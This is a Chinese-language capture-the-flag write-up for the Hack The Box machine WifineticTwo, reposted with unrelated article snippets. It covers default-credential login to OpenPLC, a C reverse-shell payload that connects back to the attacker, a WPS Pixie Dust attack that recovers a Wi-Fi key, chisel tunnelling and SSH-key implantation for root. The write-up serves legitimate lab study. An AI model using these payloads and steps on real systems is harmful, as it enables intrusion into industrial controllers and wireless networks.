HTB:WifineticTwo[WriteUP]

目录

连接至HTB服务器并启动靶机

信息搜集

使用rustscan对靶机TCP端口进行开放扫描

使用nmap对靶机开放端口进行脚本、服务扫描

使用curl访问靶机8080端口

使用浏览器直接访问/login路径

漏洞利用

使用searchsploit搜索该WebAPP漏洞

Payload

USER_FLAG:bb4486cda052880dad71c535b3fff1af

横向移动

对wlan0接口信息进行扫描

使用oneshot对路由AP进行PIN码PixieDust漏洞利用

通过该WPA配置文件进行连接

AP渗透

攻击机通过chisel开始反向连接

通过FoxyPorxy插件将代理端口设置成1080,将协议切换至SOCKS5

特权提升

使用ssh-keygen生成密钥对

将proxychains4配置文件中的端口设置成1080

ROOT_FLAG:e8ce76b1c0aa7b37bebc8bef041b6a93


连接至HTB服务器并启动靶机

靶机IP:10.10.11.7

分配IP:10.10.16.7


信息搜集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.11.7 -r 1-65535 --ulimit 5000

使用nmap对靶机开放端口进行脚本、服务扫描

nmap -p 22,8080 -sCV 10.10.11.7

使用curl访问靶机8080端口

curl -I http://10.10.11.7:8080

被重定向了,尝试访问重定向后的URL

curl -I http://10.10.11.7:8080/login

使用浏览器直接访问/login路径

尝试到Google搜索该WebAPP默认凭证

账户:openplc

密码:openplc

使用默认凭证成功登录到网页后台


漏洞利用

使用searchsploit搜索该WebAPP漏洞

searchsploit OpenPLC

将该EXP拷贝到当前目录下

searchsploit -m 49803.py

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 49803.py
  Exploit: OpenPLC 3 - Remote Code Execution (Authenticated)
      URL: https://www.exploit-db.com/exploits/49803
     Path: /usr/share/exploitdb/exploits/python/webapps/49803.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable, with very long lines (1794)
Copied to: /home/kali/Desktop/temp/49803.py

尝试利用该EXP

python 49803.py -u http://10.10.11.7:8080 -l openplc -p openplc -i 10.10.16.8 -r 1425

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# python 49803.py -u http://10.10.11.7:8080 -l openplc -p openplc -i 10.10.16.8 -r 1425          
[+] Remote Code Execution on OpenPLC_v3 WebServer
[+] Checking if host http://10.10.11.7:8080 is Up...
[+] Host Up! ...
[+] Trying to authenticate with credentials openplc:openplc
[x] Login failed :(

试了很多个Github上的EXP、PoC都不行,我决定手动利用该漏洞

Payload

#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>#define IP "<这里填写攻击机监听IP>"
#define PORT <这里填写攻击机监听端口>int main()
{int sockfd = socket(AF_INET, SOCK_STREAM, 0);struct sockaddr_in server_addr;server_addr.sin_family = AF_INET;server_addr.sin_port = htons(PORT);inet_pton(AF_INET, IP, &(server_addr.sin_addr));connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));dup2(sockfd, 0);dup2(sockfd, 1);dup2(sockfd, 2);execve("/bin/sh", 0, 0);close(sockfd);return 0;
}

左侧导航栏进入Hardware模块

首先往里写入Payload头部

initCustomLayer函数内容进行填充

点击Save Change后回到面板

本地侧nc开始监听

nc -lvnp 1425

点击左下角的Start PLC本地侧nc将收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.11.7] 59548
whoami
root

提升TTY

script -c /bin/bash -q /dev/null

查找user_flag位置并查看其内容

root@attica01:/opt/PLC/OpenPLC_v3/webserver# find / -name 'user.txt'
find / -name 'user.txt'
find: '/sys/kernel/debug': Permission denied
/root/user.txt
root@attica01:/opt/PLC/OpenPLC_v3/webserver# cat /root/user.txt
cat /root/user.txt
bb4486cda052880dad71c535b3fff1af

USER_FLAG:bb4486cda052880dad71c535b3fff1af


横向移动

列出所有网络接口

ifconfig

查看wlan0接口是否已链接WIFI

iw wlan0 link

root@attica01:/proc/1# iw wlan0 link
iw wlan0 link
Not connected.

使用wlan0扫描靶机周边WIFI

iwlist wlan0 scan

扫描到WIFI:plcrouter该网络使用WPA2加密方式

对wlan0接口信息进行扫描

iw wlan0 scan

由扫描可见,该接口启用了WPS-1.0,这意味着我们可以突破本机对其他网络的访问限制

使用oneshot对路由AP进行PIN码PixieDust漏洞利用

python3 oneshot.py -i wlan0 -K

新建一个WPA配置

root@attica01:/tmp# cat << EOF > wpa.conf
cat << EOF > wpa.conf
> network={
network={
> ssid="plcrouter"
ssid="plcrouter"
> psk="NoWWEDoKnowWhaTisReal123!"
psk="NoWWEDoKnowWhaTisReal123!"
> }
}
> EOF
EOF

查看该文件内容是否正常写入

cat wpa.conf

root@attica01:/tmp# cat wpa.conf
cat wpa.conf
network={
ssid="plcrouter"
psk="NoWWEDoKnowWhaTisReal123!"
}

通过该WPA配置文件进行连接

wpa_supplicant -B -i wlan0 -c wpa.conf

root@attica01:/tmp# wpa_supplicant -B -i wlan0 -c wpa.conf
wpa_supplicant -B -i wlan0 -c wpa.conf
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information

再次查看wlan0连接状态

iw wlan0 link

root@attica01:/tmp# iw wlan0 link
iw wlan0 link
Connected to 02:00:00:00:01:00 (on wlan0)
        SSID: plcrouter
        freq: 2412
        RX: 12741 bytes (181 packets)
        TX: 1139 bytes (11 packets)
        signal: -30 dBm
        rx bitrate: 1.0 MBit/s
        tx bitrate: 54.0 MBit/s

        bss flags:      short-slot-time
        dtim period:    2
        beacon int:     100

查看该网口是否已分配ipv4地址

ifconfig wlan0

root@attica01:/tmp# ifconfig wlan0
ifconfig wlan0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::ff:fe00:200  prefixlen 64  scopeid 0x20<link>
        ether 02:00:00:00:02:00  txqueuelen 1000  (Ethernet)
        RX packets 7  bytes 1223 (1.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16  bytes 2172 (2.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

初始化DHCP池

dhclient

再次查看该网口信息发现已分配ipv4地址

ifconfig wlan0

root@attica01:/tmp# ifconfig wlan0
ifconfig wlan0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.84  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::ff:fe00:200  prefixlen 64  scopeid 0x20<link>
        ether 02:00:00:00:02:00  txqueuelen 1000  (Ethernet)
        RX packets 14  bytes 2444 (2.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 19  bytes 3252 (3.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


AP渗透

向AP路由发送ICMP包测试连通性

ping -c 3 192.168.1.1

root@attica01:/tmp# ping -c 3 192.168.1.1
ping -c 3 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=0.066 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=0.101 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=64 time=0.093 ms

--- 192.168.1.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2046ms
rtt min/avg/max/mdev = 0.066/0.086/0.101/0.015 ms

攻击机通过python开启http服务

python -m http.server 6666

靶机将chisel进行下载

curl -O 10.10.16.8:6666/chisel

攻击机通过chisel开始反向连接

./chisel server -p 8888 --reverse

靶机通过chisel客户端开始代理

./chisel client 10.10.16.8:8888 R:socks

本地chiseel服务端侧收到回显

┌──(root㉿kali)-[/home/kali/Desktop/tool]
└─# ./chisel server -p 8888 --reverse
2024/11/23 05:50:59 server: Reverse tunnelling enabled
2024/11/23 05:50:59 server: Fingerprint rk0ke7Ywur1ipavVlzy3deroS9dWpE5/nI1XkuXErk8=
2024/11/23 05:50:59 server: Listening on http://0.0.0.0:8888
2024/11/23 05:56:13 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

通过FoxyPorxy插件将代理端口设置成1080,将协议切换至SOCKS5

尝试直接访问:192.168.1.1

直接空密码进入AP后台控制面板


特权提升

在System栏目下找到了Administration控制面板

此处允许我们为AP管理员添加一个SSH公钥文件

使用ssh-keygen生成密钥对

ssh-keygen

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ssh-keygen                     
Generating public/private ed25519 key pair.
Enter file in which to save the key (/root/.ssh/id_ed25519): ./id_rsa
Enter passphrase for "./id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:EiG4sHRbvnftfKikT8F9p9QCsWApbR5AT1ymrNSmhUU root@kali
The key's randomart image is:
+--[ED25519 256]--+
|   .. oo=Eo+     |
|.... o oO*+ o    |
|.o..+ .o+B.o     |
|. .. ...*.. . .  |
|      ooSo.. + o |
|     . o ...o +  |
|      . .oo ..   |
|        +  + .   |
|       ..o. .    |
+----[SHA256]-----+

查看公钥文件内容

cat id_rsa.pub 

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ls   
id_rsa  id_rsa.pub
                                                                                                       
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat id_rsa.pub   
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICIi+RRJfHVmn5mdCvJwluUwdD1I5zYoo+qE5FpEVKoi root@kali

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICIi+RRJfHVmn5mdCvJwluUwdD1I5zYoo+qE5FpEVKoi root@kali

将该公钥上传至该面板中

查看proxychains4配置端口

tail -n 5 /etc/proxychains4.conf

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# tail -n 5 /etc/proxychains4.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5  127.0.0.1 1425

将proxychains4配置文件中的端口设置成1080

使用proxychains4代理后通过SSH服务登录到AP路由

proxychains4 ssh root@192.168.1.1 -i id_rsa

在当前目录下找到了root_flag

root@ap:~# id
uid=0(root) gid=0(root)
root@ap:~# ls
root.txt
root@ap:~# cat root.txt
e8ce76b1c0aa7b37bebc8bef041b6a93

ROOT_FLAG:e8ce76b1c0aa7b37bebc8bef041b6a93

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/61849.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CSS浮动:概念、特性与应用

CSS浮动是网页设计和开发中常见的布局技术之一&#xff0c;以下是CSS浮动相关的所有重要知识点&#xff1a; 一、浮动的定义与语法 浮动&#xff08;float&#xff09;属性可以指定一个元素应沿其容器的左侧或右侧放置&#xff0c;允许文本和内联元素环绕它。浮动属性最初只用…

【MySQL课程学习】:MySQL安装,MySQL如何登录和退出?MySQL的简单配置

&#x1f381;个人主页&#xff1a;我们的五年 &#x1f50d;系列专栏&#xff1a;MySQL课程学习 &#x1f337;追光的人&#xff0c;终会万丈光芒 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 目录 MySQL在Centos 7环境下的安装&#xff1a; 卸载…

面向对象高级(7)注解

面向对象高级 注解&#xff08;Annovation&#xff09; 1、注解的概述 注解&#xff08;Annotation&#xff09;以“注解名”在代码中存在。例如&#xff1a; Override Deprecated SuppressWarnings(value”unchecked”) Annotation 可以像修饰符一样被使用&#xff0c;用…

oracle如何配置第二个监听优化数据传输

oracle如何配置第二个监听优化数据传输 服务器两个网卡&#xff0c;配置两个不同IP和端口的监听。 归档日志量每天很大&#xff0c;为了不影响业务&#xff0c;需要配置一个单独的万兆网络来专门的传输归档日志到DG库&#xff0c;这里就涉及到在19c中增加一个监听用来使用专门…

使用Redis生成全局唯一id

为了生成一个符合要求的分布式全局ID&#xff0c;我们可以使用 StringRedisTemplate 来实现。这个ID由三部分组成&#xff1a; 符号位&#xff08;1 bit&#xff09;&#xff1a;始终为0&#xff0c;表示正数。时间戳&#xff08;31 bit&#xff09;&#xff1a;表示从某个起始…

Feed流系统重构:架构篇

重构对我而言&#xff0c;最大的乐趣在于解决问题。我曾参与一个C#彩票算奖系统的重构&#xff0c;那时系统常因超时引发用户投诉。接手任务时&#xff0c;我既激动又紧张&#xff0c;连续两天几乎废寝忘食地编码。结果令人振奋&#xff0c;算奖时间从一小时大幅缩短至十分钟。…

【Linux驱动开发】驱动中的信号 异步通知开发

【Linux驱动开发】驱动中的信号 异步通知开发 文章目录 应用中的信号驱动中的信号应用程序接收驱动信号附录&#xff1a;嵌入式Linux驱动开发基本步骤开发环境驱动文件编译驱动安装驱动自动创建设备节点文件 驱动开发驱动设备号地址映射&#xff0c;虚拟内存和硬件内存地址字符…

【MySQL】mysql常用不常用法(持续更新)

注意&#xff1a;对数据做操作时做好备份 1、查询mysql数据表中某字段有重复的数据 适用场景&#xff0c;如&#xff1a; 用户表同名的有那些人&#xff0c;那些名称是重复出现的 SQL语法&#xff1a; SELECT t.*, COUNT(*) AS x_count FROM [table_name] t GROUP BY [检查…

C++设计模式:建造者模式(Builder) 房屋建造案例

什么是建造者模式&#xff1f; 建造者模式是一种创建型设计模式&#xff0c;它用于一步步地构建一个复杂对象&#xff0c;同时将对象的构建过程与它的表示分离开。简单来说&#xff1a; 它将复杂对象的“建造步骤”分成多部分&#xff0c;让我们可以灵活地控制这些步骤。通过…

单片机智能家居火灾环境安全检测-分享

目录 前言 一、本设计主要实现哪些很“开门”功能&#xff1f; 二、电路设计原理图 电路图采用Altium Designer进行设计&#xff1a; 三、实物设计图 四、程序源代码设计 五、获取资料内容 前言 传统的火灾报警系统大多依赖于简单的烟雾探测器或温度传感器&#xff0c;…

Java开发经验——系统日志问题

摘要 本文讨论了Java开发中的系统日志设置问题&#xff0c;特别是性能优化。文章分析了使用占位符记录slowString的耗时问题&#xff0c;并提出了使用lambda表达式和Log4j2 API来延迟参数内容获取&#xff0c;以解决性能问题。同时&#xff0c;文章还提到了SLF4J适配器的好处&…

mysql | limit X, -1 早已不可使用,本身也是一个错误

一、背景 需求&#xff1a;使用 mysql 时&#xff0c;需要获取第 X 条数据之后的所有数据。 这时&#xff0c;首先想到的就是利用 limit 来实现。 早期的部分文章或者资料中&#xff0c;提到可以使用&#xff1a; limit X,-1 例如&#xff0c;获取第一条后的所有数据&…

使用Spring TestContext框架

Spring TestContext框架是Spring框架的一部分&#xff0c;旨在简化Spring应用程序的集成测试。它提供了一组注解和实用工具&#xff0c;帮助开发人员在测试中轻松加载和管理Spring应用程序上下文。以下是如何使用Spring TestContext框架进行集成测试的详细指南。 1. 添加依赖 …

leetcode代码 50道答案

‌简单难度&#xff1a;两数之和 def twoSum(nums, target): for i in range(len(nums)): for j in range(i 1, len(nums)): if nums[i] nums[j] target: return [i, j] return [] 简单难度&#xff1a;有效的括号 def isVa…

C++:探索AVL树旋转的奥秘

文章目录 前言 AVL树为什么要旋转&#xff1f;一、插入一个值的大概过程1. 插入一个值的大致过程2. 平衡因子更新原则3. 旋转处理的目的 二、左单旋1. 左单旋旋转方式总处理图2. 左单旋具体会遇到的情况3. 左单旋代码总结 三、右单旋1. 右单旋旋转方式总处理图2. 右单旋具体会遇…

排序算法(选择排序、直接插入排序、冒泡排序、二路归并排序)(C语言版)

对数组进行排序&#xff0c;主要演示选择排序、直接排序、冒泡排序、二路归并排序算法&#xff0c;附上代码演示 一、编写好各类排序方法的函数 &#xff08;1&#xff09; s_sort(int e[],int n):选择排序。 &#xff08;2&#xff09;si_sort(int e[],int n):直接插人排序。…

当产业经济插上“数字羽翼”,魔珐有言AIGC“3D视频创作大赛”成功举办

随着AI技术的飞速发展&#xff0c;3D数字人技术已成为驱动各行各业转型升级的重要力量。在这一背景下&#xff0c;2024山东3D数字人视频创作大赛应运而生&#xff0c;并在一番激烈的角逐后圆满落幕&#xff0c;为科技与创意的交融写下浓墨重彩的一笔。 11月20日&#xff0c;一…

shell(三)

声明&#xff01; 学习视频来自B站up主 **泷羽sec** 有兴趣的师傅可以关注一下&#xff0c;如涉及侵权马上删除文章&#xff0c;笔记只是方便各位师傅的学习和探讨&#xff0c;文章所提到的网站以及内容&#xff0c;只做学习交流&#xff0c;其他均与本人以及泷羽sec团队无关&a…

Unity-添加世界坐标系辅助线

如果你想在场景中更直观地显示世界坐标系&#xff0c;可以通过编写一个简单的脚本来实现。下面是一个基本的示例脚本&#xff0c;它会在场景中绘制出世界坐标系的三个轴&#xff1a; using UnityEngine;public class WorldAxesIndicator : MonoBehaviour {public float length…

解密自闭症儿童康复秘籍,让孩子重新展开羽翼

在广州这座繁华都市的一隅&#xff0c;隐藏着一片静谧而温暖的天地——星贝育园自闭症儿童寄宿制学校。这里&#xff0c;没有喧嚣与浮躁&#xff0c;只有爱与耐心交织的旋律&#xff0c;为自闭症儿童编织着一个又一个康复的奇迹。星贝育园&#xff0c;如同一盏明灯&#xff0c;…